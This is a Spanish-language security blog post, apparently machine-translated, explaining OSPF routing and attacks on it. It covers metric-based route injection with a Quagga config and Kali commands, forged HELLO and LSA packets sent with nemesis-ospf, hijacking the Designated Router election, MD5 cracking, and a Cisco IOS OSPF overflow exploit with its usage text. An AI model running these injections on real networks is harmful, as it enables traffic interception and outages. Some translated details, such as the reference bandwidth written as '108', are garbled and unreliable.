Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Entorno con protocolo OSPF.

Обновлено 24.09.2025 11:58

Oleg Petukhov, abogado en el campo del derecho internacional y la protección de datos personales, especialista en información seguridad, protección de la información y datos personales.

Canal de Telegram: https://t.me/protecciondelainformacion1

Grupo de Telegramas: https://t.me/protecciondelainformacion2

Sitio web: https://legascom.ru

Correo electrónico: online@legascom.ru

 

#proteccióndelainformación #seguridaddelainformación

El protocolo de enrutamiento OSPF (Open Shortest Path First) es el más adecuado para redes IP combinadas dinámicas de gran Tamaño con múltiples rutas. Por lo general, el protocolo de enrutamiento OSPF se utiliza en el enrutamiento en redes corporativas que contienen un promedio de 50 LAN y varios miles de hosts.

Para una mejor comprensión, comparemos RIP y OSPF.

OSPF es un protocolo de estado de enlace (link-state), a diferencia de RIP, que es un protocolo de vector de distancia (distance-vector). Cada enrutador actualiza su tabla de enrutamiento en función de los vectores de distancia que recibe de sus vecinos.

Cuando se utiliza el protocolo de estado del canal, el enrutador no intercambia información de distancia con sus vecinos. En cambio, cada enrutador verifica activamente el estado de sus canales que conducen a cada enrutador vecino y envía esa información a sus otros vecinos, quienes pueden dirigir el flujo de datos a un sistema fuera de línea. Cada enrutador toma información sobre el estado del canal y ya construye una tabla de enrutamiento completa sobre su base.

En la red presentada, la ruta con dos enrutadores rojos se reconocerá como óptima entre Source y Destination. La razón de esto son los canales más rápidos en esta ruta.

Desde un punto de vista práctico, la principal diferencia es que el protocolo de estado del canal funciona significativamente más rápido que el protocolo del vector de distancia. Cabe señalar que en el caso del protocolo de estado del canal, la convergencia de la red es mucho más rápida. El concepto de convergencia de un protocolo generalmente se refiere a la estabilización de la red después de cualquier cambio, como una falla del enrutador o un fallo del canal.

OSPF también difiere de RIP (como muchos otros protocolos de enrutamiento) en que utiliza directamente IP. Esto significa que no usa UDP o TCP. OSPF tiene su propio identificador, que se establece en el campo de protocolo (protocol) en el encabezado IP.

En consecuencia, y los ataques en OSPF son más complejos que en RIP. Las principales dificultades son las siguientes:

1) el enrutador del atacante necesita simular el paquete HELLO para intercambiar información de ruta con otros enrutadores;

2) dependencia de la jerarquía de enrutadores involucrados en el intercambio de información de enrutamiento OSPF. Los enrutadores que participan en el intercambio pueden tener diferentes niveles en el Esquema de enrutamiento jerárquico.

Teniendo en cuenta estas dificultades, pasemos a considerar los principales ataques contra OSPF.

El objetivo de este ataque es presentar la ruta que pasa a través de la máquina del atacante como la que tiene el mayor rendimiento. Uno de los criterios para elegir la ruta óptima en OSPF es la métrica calculada por la fórmula

métrica = reference bandwidth / link bandwidth,

donde reference bandwidth = 108, link bandwidth es el ancho de banda del canal.

Por ejemplo, para canales de 100 MB, el valor de la métrica es 1, para 10 MB, 10, etc.

Por lo tanto, el atacante debe establecer el valor de la métrica para su ruta en 1 para que sea una prioridad.

!

! Zebra configuration saved from vty

! 2005/08/16 01:22:41

!

hostname legitimate.ospfd

password 8 p@ssw0rd>

enable password 8 Cb/yfFsI.abqs

log file /var/log/quagga/ospfd.log

service advanced-vty

service password-encryption

!

!

interface eth0

description DMZ_Network

ip ospf authentication message-digest

ip ospf message-digest-key 1 md5 secret_key

!

interface eth1

!

interface 10

!

interface tun10

!

router ospf

ospf router-id 192.168.20.111

redistribute kernel

redistribute connected

network 192.168.20.0/24 area 0.0.0.0

area 0.0.0.0 authentication message-digest

!

line vty

exec-timeout 30 0

!

Cuando la conexión al intercambio de rutas OSPF se ha realizado correctamente, asegúrese de verificar el estado actual de la información de rutas con el comando show ip opsf:

legitimate.ospfd# show ip ospf

OSPF Routing Process, Router ID: 192.168.20.111

Supports only single TOS (TOS0) routes

This implementation conforms to RFC2328

RFC1583Compatibility flag is disabled

OpaqueCapability flag is disabled

SPF schedule delay 1 secs, Hold time between two SPFs 1 secs

Refresh timer 10 secs

This router is an ASBR (injecting external routing information)

Number of external LSA 4. Checksum Sum 0x00025f81

Number of opaque AS LSA 0. Checksum Sum 0x00000000

Number of areas attached to this router: 1

Area ID: 0.0.0.0 (Backbone)

Number of interfaces in this area: Total: 1, Active: 1

Number of fully adjacent neighbors in this area: 2

Area has message digest authentication

SPF algorithm executed 29 times

Number of LSA 9

Number of router LSA 4. Checksum Sum 0x00025166

Number of network LSA 1. Checksum Sum 0xffff90fa

Number of summary LSA 2. Checksum Sum 0x000166c2

Number of ASBR summary LSA 2. Checksum Sum 0x00014713

Number of NSSA LSA 0. Checksum Sum 0x00000000

Number of opaque link LSA 0. Checksum Sum 0x00000000

Number of opaque area LSA 0. Checksum Sum 0x00000000

A continuación, agregue las rutas apropiadas:

kali / # ip route add 64.100.0.0/14 dev eth0

kali / # ip route add 128.107.0.0/16 dev eth0

Asegúrese de que estas rutas se hayan agregado correctamente al intercambio OSPF:

legitimate.ospfd# sh ip ospf route

============ OSPF external routing table ===========

N E2 64.100.0.0/14 [10/20] tag: 0

via 192.168.66.111, eth0

N E2 128.107.0.0/16 [10/20] tag: 0

via 192.168.66.111, eth0

Como usted entiende, 192.168.66.111 es la máquina del atacante.

Para implementar este ataque, también puede usar la utilidad Nemesis ya mencionada anteriormente, o más bien su modificación, diseñada específicamente para trabajar con OSPF. Aquí está la lista de opciones de esta utilidad:

kali / # ./nemesis-ospf

OSPF Packet Injection -=The NEMESIS Project 1.1

I 1999, 2000 obecian <obecian@celerity.bartoli.org>;

OSPF usage:

./nemesis-ospf [-v] [optlist]

OSPF Packet Types:

-p <OSPF Protocol>

-pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router),

-pN LSA (network), -pM LSA (summary), -pA LSA (AS)

OSPF HELLO options:

-N <Neighbor Router Address>

-i >Dead Router Interval>

-l <OSPF Interval>

OSPF DBD options:

-z <MAX DGRAM Length>

-x <Exchange Type>

OSPF LSU options:

-B <num of LSAs to bcast>

OSPF LSA related options:

-L <router id>

-G <LSA age>

OSPF LSA_RTR options:

-u <LSA_RTR num>

-y <LSA_RTR router type>

-k <LSA_RTR router data>

OSPF LSA_AS_EXT options:

-f <LSA_AS_EXT forward address>

-g <LSA_AS_EXT tag>

OSPF options:

-m <OSPF Metric>

-s <Sequence Number>

-r <Advertising Router Address>

-n >OSPF Netmask>

-O <OSPF Options>

-R <OSPF Router id>

-A <OSPF Area id>

-P <Payload File (Binary or ASCII)>

(-v VERBOSE packet struct to stdout)

IP Options

-S <Source Address>

-D <Destination Address>

-I <IP ID>

-T <IP TTL>

-t <IP/OSPF tos>

-F <IP frag>

-o <IP Options>

Data Link Options:

-d <Ethernet Device>

-H <Source MAC Address>

-M <Destination MAC Address>

Debe especificar el origen, el destinatario, el protocolo y las opciones correspondientes. Por ejemplo, para enviar un paquete Hello OSPF Neighbor falso, el enrutador debe ejecutar el siguiente comando:

Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1

Una implementación alternativa de este ataque podría ser la generación de actualizaciones falsas de OSPF LSA, que también se puede implementar con nemesis.

Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1

Nos convertimos en un router OSPF Designated-o Backup Designated -.

Las redes medianas y grandes que usan OSPF tienen una jerarquía de enrutadores definida. En las grandes redes que utilizan decenas o incluso cientos de enrutadores, mantener la información actualizada es una tarea muy intensiva en recursos. Se utiliza una jerarquía para separar las tareas de creación de tablas de rutas y reducir la carga en los dispositivos. En el nivel superior de dicha jerarquía, por regla general, está presente el enrutador más productivo. Este router se llama Designated router. El propósito de este dispositivo es transmitir de manera eficiente la información de ruta actual a todos los enrutadores que participan en el intercambio de OSPF.

En caso de falla, Designated router debe ser reemplazado por Backup designated router, es decir, un enrutador de respaldo de nivel superior.

Designated router se selecciona mediante votación en función de la prioridad del router y su dirección IP.

Un atacante podría intentar convertirse en este enrutador diseñado.

Si el DR tiene prioridad 255 y el BDR tiene prioridad 254, no se puede ganar la elección. Sin embargo, muchos administradores no usan valores máximos de prioridad, asignando DR y BDR a 100 y 10 o 2 y 1, respectivamente. A veces, DR y BDR se asignan las direcciones IP más adecuadas.

Por lo tanto, el atacante, para hacer su router designated, basta con establecer cómo se hace la selección de DR, y, en base a esto, falsificar la prioridad o la dirección IP.

En Quagga, puede establecer la prioridad con el siguiente comando:

ip ospf priority 255

En el caso de que DR y BDR tengan valores de prioridad máximos, puede intentar incapacitarlos con los diversos ataques de red que se detallan en este libro y luego intentar sustituir su enrutador falso.

Hackeo OSPF MD5.

El protocolo OSPF utiliza la autenticación MD5 para la protección. En consecuencia, por analogía con la piratería MD5 en el protocolo RIP, aquí esta protección también se puede romper.

Esto requerirá Cain & Abel. El proceso de piratería en sí es similar al descrito en las publicaciones dedicadas a la piratería RIP, por lo que no lo describiremos aquí.

Ataque a OSPF con ooopspf Exploit. En los routers Cisco con IOS 11.2, 11.3 y 12.0, es posible que se produzca un desbordamiento del búfer al recibir un gran número de paquetes HELLO OSPF. El concepto que implementa esta vulnerabilidad se presenta en el sitio web oficial:

arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump

***********************************************************************

IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6),

RELEASE SOFTWARE (fc3)

IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin

MEMORY: 61440K/4096K

ARRAY: 82A7E210

PID RECORD STACK RETURNA RETURNV NAME

<skip>

90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello

150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router

<skip>

arhontus / # ./OoopSPF

Phenoelit OoopSPF

Cisco IOS OSPF remote exploit (11.2.-12.0)

(C) 2002/2003 FX of Phenoelit <fx@phenoelit.de>;

Usage:

./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#>

Options:

-s <src net> Use this network as source (as in target config)

-n <src mask> Use this netmask as source (as in target config)

-d <target> This is the target router interface IP

-f <file> Use this as the new config for the router

-t # Use this target value set (see below)

-a <area> Use this OSPF area

-v Be verbose (-vv or -vvv recommended)

-D Directed attack (unicast) for 11.x targets

-T Test only – don't send

--- barely used options ---

-L # Number of neighbors to announce (overflow size)

-F # Start of data (seen reverse to overflow)

-S # NOP sleet

En la próxima publicación, pasaremos a los problemas de seguridad del protocolo de enrutamiento OSPF.